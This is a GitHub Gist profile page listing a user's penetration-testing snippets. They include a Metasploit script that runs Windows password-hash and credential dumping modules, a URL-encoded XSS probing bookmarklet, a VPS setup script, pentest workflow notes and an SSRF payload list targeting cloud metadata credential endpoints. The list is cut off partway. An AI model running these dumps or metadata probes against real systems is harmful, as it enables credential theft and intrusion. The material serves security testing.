Skip to content

Instantly share code, notes, and snippets.

View Jineeshak's full-sized avatar
🎯
Focusing

Jineeshak

🎯
Focusing
View GitHub Profile
setg SESSION 1
use post/windows/gather/smart_hashdump
run
use post/windows/gather/credentials/domain_hashdump
run
use post/windows/gather/credentials/mcafee_vse_hashdump
run
use post/windows/gather/credentials/mssql_local_hashdump
run
use post/windows/gather/hashdump
@Jineeshak
Jineeshak / offsec.md
Created October 18, 2017 09:26 — forked from jivoi/offsec.md
Penetrating Testing/Assessment Workflow

Penetrating Testing/Assessment Workflow & other fun infosec stuff

https://github.com/jivoi/pentest

My feeble attempt to organize (in a somewhat logical fashion) the vast amount of information, tools, resources, tip and tricks surrounding penetration testing, vulnerability assessment, and information security as a whole*

@Jineeshak
Jineeshak / prep-vps.sh
Created October 18, 2017 09:26
Download tools and configure settings for new VPSes and VMs.
#!/bin/bash
# Update OS
apt-get update
apt-get upgrade -y
apt-get dist-upgrade -y
# Pip
wget https://bootstrap.pypa.io/get-pip.py
python get-pip.py
rm get-pip.py
@Jineeshak
Jineeshak / offsec.md
Created October 21, 2017 04:09 — forked from trietptm/offsec.md
Penetrating Testing/Assessment Workflow

Penetrating Testing/Assessment Workflow & other fun infosec stuff

https://github.com/jivoi/pentest

My feeble attempt to organize (in a somewhat logical fashion) the vast amount of information, tools, resources, tip and tricks surrounding penetration testing, vulnerability assessment, and information security as a whole*

@Jineeshak
Jineeshak / XSSbookmarklet.js
Created January 10, 2018 16:27 — forked from Rhynorater/XSSbookmarklet.js
XSS Discovery Bookmarklet
javascript:(function()%7Bvar j %3D document.getElementsByTagName("input")%3Bif (document.location.href.indexOf("%3F")>-1)%7Bvar l %3D "%26"%3B%7Delse%7Bvar l %3D "%3F"%3B%7Dfor (i%3D0%3Bi<j.length%3Bi%2B%2B)%7Bl%2B%3Dj%5Bi%5D.getAttribute("name")%2B'%3D"><test1234>%26'%7Ddocument.location %3D document.location%2Bl%7D)()
@Jineeshak
Jineeshak / cloud_metadata.txt
Created January 9, 2020 07:23 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]